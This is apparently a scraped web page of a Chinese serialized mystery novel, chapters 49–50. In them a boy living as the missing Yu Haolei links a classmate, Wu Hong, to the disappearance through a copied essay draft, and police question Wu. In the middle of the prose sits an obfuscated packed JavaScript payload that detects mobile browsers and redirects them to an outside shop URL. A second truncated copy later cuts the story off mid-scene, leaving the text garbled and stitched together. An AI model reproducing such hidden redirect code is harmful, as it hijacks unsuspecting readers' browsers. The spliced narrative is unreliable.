于浩宁指了指旧照片里的于浩磊,又指了指新照片里的汤振。 然后,于浩宁转过身,伸手指向此刻就坐在于强左手边的汤振。 于强的目光随着于浩宁的手指,在旧照片、新照片和眼前的汤振之间来回移动。 良久,于强看着汤振,用力地点了点头。 许艺岚的脸上露出了一种久违的心安与喜悦,笑着陪于强继续吃早饭。 于浩宁将照片放了回去,也坐了下来,和汤振相视一眼,轻松地笑了。 日历在微风中掀起,一页一页翻过。 清晨,厨房里升腾起热气。 午后,客厅里于强复健的身影艰难地行走。 夜晚,汤振和于浩宁做题的侧脸在台灯下泛着橙黄的光芒。 学校和家庭的一幅幅画面,在光影交错中,出现,闪烁,又消退。 5月17日,上午十点。 伴随着一阵刺耳的警笛声由远及近,警局大厅里,凌警官的身影径直走向一间办公室,推开了门。 办公室里,电话铃声和键盘的敲击声此起彼伏。 凌警官手里攥着一个蓝色的文件夹,大步流星地来到邢警官的办公桌前。 还来不及拉开椅子坐下,凌警官便双眼放光,压低了声音道:“邢警告,我们这边有重大突破。” 说完,凌警官将一个U盘插进电脑,语气难掩兴奋:“经过我们长时间以来大规模的地毯式排查,技术部那边终于在一个主干道的监控里截取到了一张嫌疑人的正脸画面。” 邢警官原本正低头看案卷,听到这话,倏然抬起头,握着钢笔的手指下意识收紧。 “是什么时候的录像?”邢警官紧盯着屏幕上弹出的文件夹,沉声问道。 凌警官依言答道:“是去年八月份的,正好是他重新出现在我们县城的那段时间。” 邢警官点了点头,握住鼠标,双击点开了那张被单独提取出来的截图。 随着图片在屏幕上放大,邢警官原本期待的眼神慢慢冷却了下来,他凑近屏幕,眉心逐渐拧出一个“川”字。 照片里,确实出现了一个正面轮廓。 然而,由于摄像头像素实在不高,加上拍摄时间为傍晚,光线不足,整张照片布满了粗糙的噪点。 邢警官看着电脑里的照片,摇了摇头。 这张照片,除了能依稀辨认出嫌疑人偏瘦的体型和大致的五官比例外,还是无法看清具体长相。 邢警官靠回椅背上,指着屏幕叹了口气道:“确实是正脸角度,但画质还是有点模糊。” 凌警官脸上的兴奋也退去不少,深有同感地点头道:“确实,技术部那边已经尝试做过图片优化处理了,这就是极限。所以,我们目前的计划是,以这个路口为中心,继续追踪嫌疑人可能的行动路径,把沿途街巷所有的公共摄像头和商铺的私人摄像头全部调出来,一帧一帧排查。” 邢警官一边思考,一边用手指轻敲着桌面,发出有节奏的“哒哒”声。 “如果只给你们一周的时间,全力在这个线索上排查,有把握锁定更具体的信息吗?”邢警官抬眼问道。 凌警官面露难色,有些难为情地抿了抿嘴唇,答道:“有点难……老城区的监控探头损坏率高,中间还有好几段盲区。我没办法保证能在一周内完成,但我们会尽力排查的。” 听到这话,邢警官也明白对方的难处,他停止了敲击桌面的动作,端起桌上的茶杯嘬了一口。 “行,你们就尽力排查吧,这段时间确实是辛苦你们了。” 邢警官放下茶杯,目光再次落回电脑屏幕上,语气变得严肃:“这个案子拖太久了,上面也一直在要进度。咱们都努努力,抓紧时间排查。要是能一个月内拿到嫌疑人的清晰正脸照就好了……” 凌警官低头看了看手机上的日期,有些僵硬地回应道:“明白,我们会继续沿着这条线仔细排查的……” 说完,凌警官拔下U盘,匆匆走出了办公室。 办公桌前,邢警官眉头紧锁,凝视着电脑屏幕上的监控截图,良久,良久。 49.被忽略的细节 5月24日上午,阳光比前一天耀眼。 校园内的榕树叶已长得十分茂密,斑驳的树影投射在教学楼的走廊上。 高一3班教室里,早读刚结束,学生们正三三两两聚在一起聊天,还有几个男生在过道里比赛掰手腕,围观的人们发出阵阵喝彩声。 就在这时,教室的前门被人轻轻推开。 一位穿着浅杏色针织衫的老师,手抱一叠厚厚的数学教案,面带微笑站在门口。 原本喧闹的教室像是被按下静音键,瞬间鸦雀无声。 所有人的目光都齐刷刷地汇聚到门口。 紧接着,蒋朋率先反应了过来,倒吸了一口凉气,压低声音喊了一句:“是黎老师吗?” 黎老师忍俊不禁,看着全班同学,“才一个多月不见,你们连我这个班主任都不认识了呀?” 这句话仿佛是一个解除定身的咒语,教室里顿时爆发出一阵欢呼。 相比起一个多月前,黎老师的脸色稍微白皙了一些,但双眼依然和之前一样明亮有神,透着一股熟悉的温婉。 丁航也从围观掰手腕的人群里蹿了出来,手忙脚乱地从黎老师怀里接过那些沉重的教案,连连念道:“哎哟,黎老师,您快放下,这东西多沉啊,我来拿。” 有人赶紧跑到讲台前,抽出一张纸巾把干净的椅子又擦了三遍,有人小心翼翼护在黎老师身边,仿佛她是一件易碎的瓷器。 “好了好了,大家都回座位去吧,”黎老师在椅子上坐稳,摆了摆手,轻松道:“老师没事,不要紧,这段时间在家里修养,调理得很好,你们看我这精神头不是挺足的嘛。” 江悦站在讲台边,眉头微蹙,眼中满是担忧,“听说您可以向学校申请多休息一个月的,不用这么急着赶回来。” 台下的学生们纷纷点头附和,汤振也默默地注视着讲台上的黎老师,悬了一个多月的心终于稳稳落回肚子里,心底的那份愧疚也随之消散许多。 “我倒是想多休息啊,”黎老师捏着一截粉笔,目光柔和地看着全班道:“可是心里惦记着你们,根本躺不住。马上就要期末考试了,高一是打基础的阶段,我怕你们的学习进度落下,又怕你们适应不了代课老师的节奏。所以,一出月子就赶紧跑回来盯着你们了。” 黎老师顿了顿,嘴角的笑意加深了几分,“再说了,我也很想你们呀。” 真诚的话语彻底驱散了教室里的紧张与阴霾,全班同学的脸上终于露出毫无负担的笑容。 “好啦,大家把心都收一收。”黎老师转过身,用粉笔在黑板上写下几个刚劲有力的大字,粉笔与黑板摩擦,发出清脆而熟悉的“笃嗒”声。 黎老师转过头,眼神重新恢复了属于教师的专注与严谨,“江悦,帮老师关一下门。大家翻开书,这节课,我们把这个单元的重点内容,从头到尾复习一遍。” “哗——哗——” 教室里响起一片整齐的翻书声,粉笔灰在早晨的光束中轻盈跳跃,一切似乎都回到了熟悉的校园轨迹上。 傍晚,晚霞将半边天空染成温柔的橘粉色。 下午的放学铃声响过不久,学校对面的那条小吃街便迎来了最热闹的时段。 今天的晚自习,班主任给汤振请了假。 此时,汤振正按照班主任下午告诉他的地址,背着书包,走进了街角一家环境雅致的餐厅。 心里默念着包厢的名字,汤振顺着木质楼梯走了上去,停在了虚掩门外。 轻轻推开门。 包厢里的餐桌上已经摆满了丰盛的菜肴,热气腾腾地冒着白雾。 班主任黎老师正微笑着坐在桌边,而她身旁,是一个穿着休闲衬衫的微胖男。 在看清微胖男面容的瞬间,汤振抓着门框的手指下意识地收紧了。 这个男人,正是那天深夜在二院妇产科走廊上扇了汤振一记耳光的男人。 短暂的错愕过后,汤振敏锐地察觉到—— 这个男人此刻并没有那天晚上的暴躁与戾气,相反,他双手不安地搓着大腿,神色间透着局促与尴尬。 “浩磊,快进来坐。”黎老师注意到了汤振的停顿,连忙招了招手。 汤振松开手,走了过去,在黎老师身旁的位置坐下,礼貌喊道:“黎老师好。” 说完,汤振又看向对面的男人,问道:“请问这是……” “这是我老公,”黎老师介绍完,便看向汤振,郑重其事道:“浩磊,今天我特意把你叫出来吃饭,没有别的原因,就是为了上个月在医院发生的事情。” 对面男人的脸一下子涨得通红。 黎老师看了一眼老公,叹了口气,继续对汤振说道:“事情的真相,学校已经调查清楚了,我也都听说了。我老公这个人,脾气急,那天晚上也是太担心我了,脑子一热,就对你动了手。” 男人在旁边坐立难安,低着头清了清嗓子。 黎老师继续道:“我老公原本觉得拉不下脸,想让我这个当老师的私下买点东西,替他向你道歉。” 黎老师说到这里,语气又变得十分坚决:“但被我拒绝了。我站在讲台上,每天都在教育学生要明辨是非,要敢作敢当。如果连我自己的家人都做不到这一点,我以后还怎么教书育人?” 黎老师转过头,看着自己的丈夫,又道:“所以,我今天硬是把他拉了过来,必须让他亲自向你道歉。” 话音刚落,黎老师的老公便深吸了一口气,双手撑着膝盖站了起来。 没有倒酒,也没有找任何开脱的借口,这个男人就当着妻子的面,向汤振深深鞠了一躬。 “于浩磊同学,”男人抬起头,涨红的脸上写满了愧疚,“我深刻反省了自己,那天晚上在医院是我太冲动,太混蛋,不分青红皂白动手打你,还说了那么多难听的话。今天我在这里,郑重向你道歉。对不起,不奢求你能原谅我,只求你心里不要再为那件事而难受就好。” 看着男人的姿态,汤振心底紧绷着的弦也在这一刻逐渐松开。 汤振站起身,端起面前的茶杯,语气平和而释然:“理解,理解,那天晚上情况危急,换谁都会失去理智。那件事,我已经忘了。” 男人眼底闪过一丝感激,连声招呼着:“谢谢,谢谢。快坐下吃菜,今天这顿我请客,想吃什么咱们再加。” 黎老师看着这一幕,脸上露出了舒心的笑容,她十指交叉撑着下巴,颔首道:“嗯,这还差不多,像个负责任的人。” 气氛缓和下来,三个人围坐在桌前,一边吃着丰盛的晚餐,一边聊着轻松的话题。 吃得差不多的时候,黎老师放下筷子,身子微微向前倾了倾,悄声问道:“浩磊,你偷偷告诉我,在我休产假的这段时间里,咱们班同学觉得那个代课的夏老师怎么样?他上课的节奏,大家还适应吗?” 汤振看着班主任那副小心翼翼打听情况的模样,心里觉得温暖,又有些好笑。温暖在于黎老师时刻挂念全班同学,好笑在于没想到老师们也会这样悄悄打听八卦消息。 汤振如实答道:“您放心吧,夏老师非常好,说话幽默,大家都很喜欢上他的课。这个月初的家长会结束后,我妈也一直夸夏老师讲得好,说他对学生的未来规划很用心。” “那就好,那就好,”黎老师长长地舒了一口气,轻轻拍了拍桌面,道:“我这两天刚回学校,正想着要怎么感谢夏老师呢……” 包厢里的灯光柔和地倾洒在餐桌上,窗外,城市的夜灯已经陆陆续续亮了起来。 这顿晚餐不仅填饱了汤振的肚子,也缝合了那个误会的裂痕。 在阵阵烟火气中,时间来到5月31日。 下午第四节课,照例是上自习,窗外的蝉已经浅尝起了初夏的味道。 高一3班的教室里,文艺委员拿着一个硬抄本快步走上讲台,拿黑板擦轻轻敲了两下讲桌。 “大家先停一停手中的笔,咱宣布个事儿,”文艺委员提高了音量道:“6月20号,学校要照例举办毕业晚会,初一、初二、高一和高二年级每个班都要上报一个节目。咱们班的节目征集,就从现在正式开始吧。” “要征集多少天啊?”坐在靠前位置的蒋朋抬头问道。 “花三天的时间征集每个班的节目创意,定下来后,报给年级组,”文艺委员又翻开本子看了一眼,继续道:“如果被选上了,大概还要花半个月左右的时间来排练。” “半个月啊,”于浩宁停下手里转动的圆珠笔,脸上浮现出一丝担忧,开口道:“那有点久呀,6月底还有期末考试呢,我们如果每天排练,会不会耽误复习的时间?” 文艺委员听后,连忙摆手,语气和缓地安抚道:“这个还请大家放心,因为也不是每个班报上去的节目都能被选上,最终只会挑选出12个节目参与正式表演。” 丁航放下手中的书,撇了撇嘴,说道:“哎,你这是什么意思嘛!你是想说,咱们班就算出了节目,也不一定能选上呗?那不是长他人志气,灭自己威风吗?” 眼看快要因这句话而冷场,坐在丁航左手边的汤振连忙伸手拍了拍他的后背。 “行了,丁航,别这么挑刺儿,”汤振笑着打圆场,劝道:“文艺委员说的也确实是事实嘛,咱们重在参与。大家还是先集思广益,想想有什么好的节目创意吧。” 江悦也转过身,落落大方地附和道:“其实,如果每天只是抽课余时间排练,不一定会耽误复习。而且,即使选上了,也不是每个人都要参加,比如一些小品节目,每个班只派几个人参加就行了。” 孟晓芸作为江悦的铁杆闺蜜,立刻接过话茬,开玩笑道:“就是,就是,而且真正学习好的学生才不怕耽误这点儿时间呢。是吧,阿悦?” 江悦自信地点了点头,眼神明亮。 “既然都不怕耽误时间,那我提个创意,”汤振坐直了身子,目光环视了一圈,继续道:“单纯的唱歌或者跳舞太老套了,我们可以弄一个歌曲加话剧结合的节目。” 全班同学的注意力皆被吸引了过来。 汤振整理了一下思路,娓娓道来:“我们把那首讲师生情的歌曲分成好几段,一边让人在后面唱,一边让人在前面表演话剧。故事的主线就是老师的谆谆教导让大家都考上了好学校,主题也符合毕业晚会。” 不少同学都露出了赞许的神色,但也有同学不甚满意。 “温情是够了,但还不够抓人眼球,”孟晓芸微微皱起眉头说道。 汤振思索一阵,立刻有了主意,“歌曲结尾的时候,我们加一个放天灯的环节吧。在夜空下的操场放天灯,肯定很好看。” 江悦提出了不同的看法:“高三的学长们不是正好要高考了吗,我觉得应该出一个与众不同的喜剧小品,用幽默搞笑的方式教大家怎么选专业。有喜欢的就选喜欢的,没有喜欢的就选热门的,或者根据家庭实际情况来选……” 江悦眼神里难掩兴奋,又伸手在空中比划了一下,继续讲道:“在小品结尾,我们还可以买几只鸽子带到舞台上,在音乐声中把鸽子放飞,代表着放飞希望,奔赴前程。主题贴合毕业季,舞台效果应该也不错。” “怎么放飞鸽子,”汤振笑着打趣道:“班长,你忘了咱们那位教导主任有多严格了吗?她怎么可能会允许。” “于浩磊,你还好意思说我,”江悦也不服气,扬起下巴,反驳道:“不允许放飞鸽子,难道能允许你放飞天灯吗?那可是明火,上学期的迎新晚会,教导主任可是明令禁止使用明火的。到时候把操场给点燃了,看你怎么办。” “哼,那有什么,”汤振双手抱在胸前,故意露出一副天不怕地不怕的样子,佯装愠怒道:“我敢和教导主任对着干,你敢吗?” “好好好,你敢,你厉害。”江悦无语地翻了个白眼。 汤振连忙服软,“好啦,班长,我开玩笑的……” 教室里顿时爆发出一阵轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615462|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松愉快的哄笑声。 文艺委员站在讲台上,看着台下的两人各执一词,干脆拿起了粉笔,开口道:“既然现在有两个创意,那咱们就公平起见,举手表决吧,允许弃权。首先,同意班长的创意的同学,请举手!” 接近一半的人都举起了手臂,文艺委员数了数,写下了数字。 “好,接下来,同意于浩磊的创意的同学,请举手。刚才举过的不要重复举手啊!” 又是接近一半的人举起了手。 “这下有意思了,”文艺委员看着黑板上的计票结果,惊讶道:“结果平票,现在全班只有丁航一个人没举手了。丁航,你想好投给谁了吗?” 所有人的目光都齐刷刷地投向了丁航。 江悦自信满满地看着丁航,丁航也悻悻地和江悦对视了一眼。 几秒钟后,丁航一把搂住汤振,道:“我选磊哥的节目!” 说完,丁航咧嘴一笑。 “你这人,怎么不投阿悦的,我要去举报你平时抄作业。”孟晓芸拿起桌上的橡皮擦,作势要扔过去,但最终还是放回了桌上。 汤振笑着说道:“班长,其实你的那个小品创意也非常好。但是毕业晚会就在下个月20号,高三的师兄师姐马上就要进考场了,现在去研究怎么选专业,也太匆忙了吧。” 汤振顿了顿,语气变得诚恳:“所以,你这个创意,不如就留到下学期开学办迎新晚会的时候再表演,刚好能让刚上高三的同学早早地思考一下未来的方向。你觉得呢?” 这番说辞听上去滴水不漏,全班同学纷纷点头赞同。 江悦思索了片刻,拍了拍手道:“行吧,那就按你说的,这次先用你的创意。” “好,那咱们班的节目就这么定了。”文艺委员在硬抄本上画了个大大的勾,但就在下一秒,她咬了咬笔头,脸上重新浮现出苦恼的神色。 文艺委员看向汤振,面露难色,嘀咕道:“创意倒是有了,可是……在操场上放天灯的环节,到底要怎么处理才好呢?” “叮铃铃——” 下午第四节课结束的铃声响起,所有人都蜂拥而出,朝食堂冲去,从一场兴奋中切换到了另一场兴奋中去。 汤振也没有把文艺委员的话放在心上,只耐心地等着三天后的节目征集结果。 此外,汤振心里仍然纠结着上个月跟申雅丽提到的“细节”:到底是什么有关伍泓的细节被自己忽略了?一个多月过去了,竟然还是没想起来。 6月3日深夜,乌云蔽月。 初夏的温度,让汤振忍不住打开了空调。 窗外的夜风带着几分燥热,将行道树上的树叶吹得沙沙作响。 次卧里,两盏台灯暖暖亮着,让人的心情也跟着轻松了不少。 “太好了,”于浩宁盘腿坐在床上,手里拿着手机,兴奋地挥了一下手,喊道:“文艺委员给我发短信了,你提的那个节目,被学校选上了。” 汤振双手枕在脑后,懒洋洋地躺在另一张床上,听到这个消息,舒了口气,嘴角不由自主上扬了起来。 “是啊,总算没白费大家的讨论,”汤振看着天花板,随口道:“但是我也一直在想,那个放天灯的环节,到底该怎么解决。到底是买天灯还是我们自己做呢?” 于浩宁似乎想起了什么,语气变得低沉:“说起来,之前我哥从国外旅游回来的时候,还在作文里写过当地放天灯的场景呢。哦,对了,我哥还亲手做过一次天灯。” “哈哈,是吗,”汤振翻身侧躺着,看向于浩宁,打趣道,“那可得好好研究一下你哥写的作文了,看看能不能学到一点做天灯的技巧……” 话音未落。 汤振脸上的笑容,毫无征兆地僵住,半张开的嘴也停在最后一个字上,仿佛被人扼住了喉咙。 紧接着,一股难以名状的寒意像毒蛇一般,顺着脊背爬了上来,顿时让汤振汗毛倒竖,发毛的感觉如同电流一般,迅速在身体里蔓延开来。 于浩宁坐在床上等了半天,也没听到汤振继续说下去,便抬头看向对面床上,正好看见汤振那张毫无血色的脸。 于浩宁不禁吓了一跳,脸上的笑容瞬间消失,“哥,你怎么了?脸色这么难看。” 汤振眼珠微微转动了一下,仿佛刚找回身体的控制权,嘴里开始喃喃念道:“作文……作文……” 汤振的声音沙哑得可怕,瞳孔骤然聚焦,右手攥紧了身下的床单,喊道:“对,就是作文!” 于浩宁一脸疑惑,放下了手机,认真问道:“什么作文?怎么了?” 汤振一下坐了起来,眼神锐利道:“我想起来了!上学期开学,伍泓抄袭你哥的作文用来参赛,当时他抄的,不是初稿啊。” 听到这句话,于浩宁亦脸色微变,眉头渐渐皱起,“他当时……抄的不是我哥写的初稿吗?” 汤振直接掀开被子,连鞋也顾不上穿,便冲到书桌前,一把拉开抽屉,在里面翻找着。 几秒钟后,汤振抽出一张折得整整齐齐的纸。 这张纸,是他到这个家的第一晚就见过的作文稿,上面的字迹此刻变得无比刺眼: “在多元文化的交汇处,我们并非失去了自我,不同的文化只是一面面不同的镜子,折射出我们内心深处的斑驳,并以更广阔的锚点,去丈量世界的参差……” 汤振指着上面那些修改和批注的痕迹,一字一字说道:“你看,伍泓当时抄袭的,是我手上的这一稿啊!” 于浩宁的目光落在那张熟悉的稿纸上,脸上的肌肉一点点绷紧,他又看向汤振,开口道:“这个版本的稿子,是暑假期间,我哥在失踪的前一晚才改好的,甚至都还没来得及发给老师。” 房间里陷入了诡谲的寂静,漆黑的窗外,树叶的沙沙声时有时无。 汤振拿着稿纸的手缓缓垂了下来,他的声音在这个夏夜里寒彻如冰: “所以,你哥失踪前,见过伍泓。” 50.消失的真相 房间里,静谧无言,只有闹钟的秒针在不知疲倦地走动。 汤振手里紧紧捏着那张泛黄的作文稿纸,目光紧紧钉在上面,出神良久,胸口也因剧烈的情绪波动而微微起伏。 于浩宁无力地顺着桌沿坐到椅子上,声音里带着掩饰不住的颤抖:“你的意思是,我哥的失踪,可能和伍泓有关吗?” 汤振缓缓放下稿纸,揉了揉干涩的眼角,指着作文坐上角标注的修改日期,继续道:“虽然我现在还不能百分百确定,但是,我手上的这一稿,是你哥在失踪的前一天晚上才改完的,如果他没有对外公开过,伍泓又怎么会知道里面的内容呢?” 于浩宁呼吸一滞,紧紧咬住了嘴唇。 汤振也在床上坐了下来,看着于浩宁,沉浸地说道:“这就说明,在你哥失踪那天,他很有可能跟伍泓见过面。” 说到这里,汤振又起身,走到电脑桌前,按下了主机的开机键。 “为了稳妥起见,我先登录一下你哥的邮箱,看看他有没有把这个版本的稿子发给别人。”汤振镇定地说道。 屏幕亮起,幽蓝的光映在两人的脸上。 于浩宁熟练地输入密码,登录进于浩磊的电子邮箱。 点开“已发送”,两人赶紧翻了翻草稿箱和已发送邮件。 随着鼠标滚轮的滑动,两人的心一点,一点沉了下去。 汤振盯着邮箱界面,摇头道:“我手上的这一稿,没有发给罗老师,也没有发给伍泓。” “所以……”于浩宁喃喃自语。 “所以,你哥失踪那天,很有可能联系过伍泓,”汤振把身体靠向椅背,眉头紧锁,低声道:“只是我们现在不知道,他们到底是当面联系的还是打电话联系的。你哥连人带手机一起失踪,通话记录应该是很难再找回了。” 房间里陷入短暂的沉默。 于浩宁眼眶泛红,“如果我哥的失踪,真的是伍泓造成的,那具体原因到底是什么?他为什么……” 汤振沉默地摇了摇头,脑海中闪过伍泓那恰到好处的笑容,一股寒意涌上心头,“我也不知道,难道真的是因为伍泓担心你哥举报作弊团伙,就对你哥下黑手吗?” 于浩宁抿了抿嘴,“你不知道,我就更不知道了。我哥回家很少跟爸妈说话,偶尔还会跟我聊聊天,但这些事情我也是丝毫不知情的。” 看着于浩宁无力的模样,汤振没有再开口追问,他转回身,重新握住鼠标,点开了电脑里的截图软件,将邮箱里的记录截了下来。 随后,汤振打开浥鸣二中的官网,在历史通知里,找到了上学期开学时公布的那份有关“作文大赛抄袭”的公告,把伍泓当时抄袭的作文页面也做了截图处理。 伴随着清脆的键盘敲击声,汤振将这两张截图通过数据线保存到了手机里。 于浩宁擦了擦眼角,看着汤振略显反常的举动,问道:“你把截图存到手机里做什么?” 汤振拔下数据线,将手机揣进口袋,转过头,静静地注视着于浩宁的眼睛良久,问出了口:“浩宁,你,想不想知道你哥到底是怎么失踪的?” “我当然想,”于浩宁猛地拔高了音量,但很快又压抑了下去,语气里满是担忧:“我时时刻刻都想,做梦都想。” 于浩宁又看向汤振,“那……你站在自己的角度呢?你要是去查我哥失踪的真相,你的真实身份就……” 汤振陷入短暂的沉默,随后带着一种斩钉截铁的坚定,应道:“在隐瞒身份和查清真相之间,我想选择……” “……我想选择查清真相。” 汤振说完,仿佛感觉有一阵风吹散了头盘旋已久的迷雾。 夜渐深,两人结束了交谈,各自躺回了床上。 关掉台灯后,次卧里陷入了浓重的黑暗。 窗外的风彻底停了,整个浥鸣县仿佛都沉入了一片深不见底的沉睡之中。月光透过云层,在窗台上洒下一层如霜的银白。 房间里,两人呼吸渐渐变得平稳而绵长。 第二日,黎明时分。 刚过六点半,警局办公室里,邢警官便已端起了茶杯,翻着桌上的一摞旧案卷。 走廊上,凌警官大步走进办公室,手里拿着手机,神色凝重,“邢警官,今天天还没亮,就收到一封匿名举报信,但是发送邮件的账号已经注销了。” 邢警官放下茶杯,抬起头问道:“如果是匿名举报,举报人估计也不想暴露自己的信息吧,咱们还是把重点放在举报信的内容上面比较好。” “内容是关于于浩磊的,”凌警官拉开椅子坐下,指着手机里的内容,应道:“您还记得于浩磊吗?他失踪快两年了。今天收到的举报信逻辑缜密,信上说,于浩磊高一的同班同学伍泓,在上学期开学时抄袭了一篇作文,而这篇作文的原稿,是于浩磊失踪前一晚才写的。” 邢警官的眉头瞬间紧蹙,立刻问道:“那篇稿子,于浩磊既没有发给老师,也没有公开发表过吗?” “对,信上说,那一版的稿子还没来得及发给任何人。举报信里说,稿子没发出去,伍泓却能一字不差地抄袭,说明在于浩磊失踪的那天,伍泓大概率跟于浩磊见过面。”凌警官答道。 邢警官沉思片刻,下令道:“咱们走!” 只见邢警官迅速站起身,拿起桌上的车钥匙,拉上凌警官就朝门外走去,“不管这封举报信是谁写的,咱们先就去一趟伍泓家里问问。” 早上七点。 “伍记快餐”招牌下,正腾腾冒着热气。 这家开在老城区街角的饭馆面积不大,地上泛着一层常年累积的油污。 伍泓的母亲围了一条陈旧的围裙,擦着桌子,门口的油锅里还炸着油条和韭菜合子。 不到十分钟,邢警官和凌警官便驱车来到了伍记快餐附近。 警车停在路边,两名警察推开了门,走进店铺。 正在擦桌子的伍泓母亲手一哆嗦,抹布直接掉在了地上。 “警,警察同志,”母亲神色慌张地迎了上去,“你们这是……来吃早饭吗?” “我们找伍泓,”邢警官语气平静,出示了一下证件,“请问他本人在吗?” 听到警察直呼伍泓的名字,母亲的脸色瞬间微变,脸上除了慌乱之外,还多了一丝愠怒的神色,她冲着里屋大喊道:“伍泓,赶紧出来!” 里屋的门帘掀起。 伍泓已经将二中的校服穿戴整齐,背着书包走了出来。 看到屋里的警察,伍泓眼中闪过一丝不易察觉的惊讶,但整个人很快又恢复了镇定。 伍泓皱了皱眉,看向邢警官,礼貌问道:“警察同志,请问你们找我有什么事吗?” 邢警官打量着眼前这个沉稳的高中生,开口道:“你就是伍泓,请问你是于浩磊的同班同学吗?” “是。”伍泓坦然点头。 邢警官紧盯着对方,似乎连任何一个微表情也不想放过,“我们接到线索,前年暑假,于浩磊失踪的那天,你是不是见过他?” “没有,”伍泓刚毫不犹豫地答应完,旋即又皱起眉头,改口问道:“哦,我的意思,我已经记不清于浩磊是哪天失踪的了?” 凌警官在一旁插话道:“具体哪一天不重要,重点是你上学期开学拿去参赛的那篇作文,是于浩磊失踪前一晚才改完的,如果你那天没见过他,你是怎么拿到那份稿子的?” 听到这个问题,伍泓的眼皮微微垂了一下,就在他准备开口时—— 一旁的母亲终于反应了过来,刚才的担忧和责备尽数消失,连忙朝警察开口道:“哎哟,警察同志,你们可不能冤枉好人呐!” 伍泓母亲急忙凑上前,继续道:“我们家的伍泓可是年级第一,他怎么可能去偷别人的作文稿子?肯定是那个叫什么于浩磊的故意陷害我儿子,或者是他自己把稿子弄丢了,恰好被我儿子捡到。” 邢警官脸色一沉,提醒道:“这位家长,我们在跟当事人核实情况,请您保持安静,不要干扰。” 母亲被这严肃的语气吓得缩了缩脖子,小声嘟囔着走去了一旁。 伍泓转过头,语气里有些不耐烦:“妈,你能不能别说话了?去看看锅里吧,油条和韭菜合子可能都焦了……” 片刻后,伍泓重新转过头,直视着邢警官,说道:“警官,那篇作文确实是我抄的,学校也已经处罚过我了。但这篇修订稿,是于浩磊一边写一边跟我打电话讨论的,所以我才知道他修订稿里的内容,整个暑假期间,我都没有见过于浩磊。” “那方便查看一下你手机的通话记录吗?”凌警官问道。 伍泓拿起手机看了看,夸张地摇头道:“那都是快两年前的通话记录了,早就删除了。” 邢警官与凌警官对视了一眼,便缓缓合上了笔记本,“行了,情况我们都了解了。如果以后你想起什么其他关于于浩磊的线索,请随时和我们联系。” 说完,两名警察转身走出了饭馆。 看着警车开远,母亲这才长长松了一口气,在围裙上胡乱擦了擦手,走到伍泓身边。 “哎,刚刚真是吓坏我了,”母亲拍了拍伍泓的肩膀,眼神里满是殷切的期盼,语重心长道:“这个月底就要高考了,你可千万别被乱七八糟的事影响了心情。只要你能顺顺利利考上平州大学,妈就放心了。” 伍泓压了压嘴角,转身看了看母亲,自言自语道:“平州大学的学费可不便宜呢。” “没关系,钱的事你不用操心,”母亲挺直了腰板,信誓旦旦道:“这段时间我会更努力赚钱的,你呀,只要管好成绩就行!” 伍泓“嗯”了一声,点了点头。 母亲又转身去了门口,守着锅里的食物。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汤振的语气逐渐加重,语速也跟着加快:“所以你才处心积虑,想让我永远消失。只不过,你千算万算,没算到我只是失踪了一年。” 伍泓听完,忍不住笑出了声,像是在看一个跳梁小丑。 “于浩磊,你想象力真是丰富,只可惜你完全是以小人之心度君子之腹。”伍泓满脸不屑地回应道。 “是吗,”汤振抬眉,冷眼道:“我还记得,上学期开学不久后,你就特意在早自习的时候来找我道歉。你当时句句不离我失踪那天的事情,问我到底还记不记得当时的细节。后来在食堂,你又问我想不想得起失踪那天遇到了什么人。” 汤振板着脸,继续道:“我当时就在想,想起来了又能怎样呢?直到昨天晚上看到那篇作文,我才终于想起来,失踪那天,我见到的人就是你。你看我回来,怕我报复你,所以一遍又一遍反复确认我到底有没有失忆。” 伍泓脸上的笑容瞬间收了起来,“那又怎样?” 伍泓带着满脸愠怒,猛地上前一步,瞪眼看向汤振,狰狞道:“就算你想起来了一切,那又怎样?你当时是被离岸流卷走的,那是自然现象,关我什么事?” 话音刚落,汤振觉得仿佛周围的空气也停止了流动,他瞬间想起: 去年八月,第二次见到于浩宁的时候,他就说过,当时游客报警说,海边有人被离岸流卷走了。 如今,伍泓的说辞亦是如此,不像是撒谎……被离岸流卷走的那个人真的是于浩磊吗?如果是,又和伍泓有直接关系吗? 想到这些,汤振强行压下内心翻江倒海的感觉,站在原地,用冰冷的眼神注视着伍泓,“所以,你这算是自己承认了么?” 短暂的愣神后,伍泓又立刻仰起头,发出一声更加肆无忌惮的冷笑,“承认了又怎样?” 伍泓放下手,眼神里充满傲慢,“你以为我看不出来你刚才是故意诈我的么?你这个套话的水平,真的太低级了。退一万步讲,即使你现在真的恢复了记忆,想起了那天发生的事,那又怎样?” 伍泓将身子凑近汤振,用只有两个人能听到的声音,一字一句道:“是你自己不小心被离岸流卷走的,我可什么都没做,既没有推你,也没有碰你。” 汤振的目光亦毫不躲避,直视着伍泓,脑海里却想不出一句反驳。 见状,伍泓得意地后退了半步,理了理有些发皱的衣领,留下一句嘲弄:“所以啊,收起你那套无聊的把戏吧,就算你偷偷录了音,就算你马上去报警,也没人有理由动我分毫……” 说完,伍泓轻蔑地瞥了汤振一眼,转过身,大步流星地走进了通往楼道的铁门。 “砰——” 生锈的铁门被重重关上,颤抖的回音由沉闷变得尖锐。 天台上只剩下了汤振一人,他捏着拳头,盯着那扇铁门,眼神深不见底。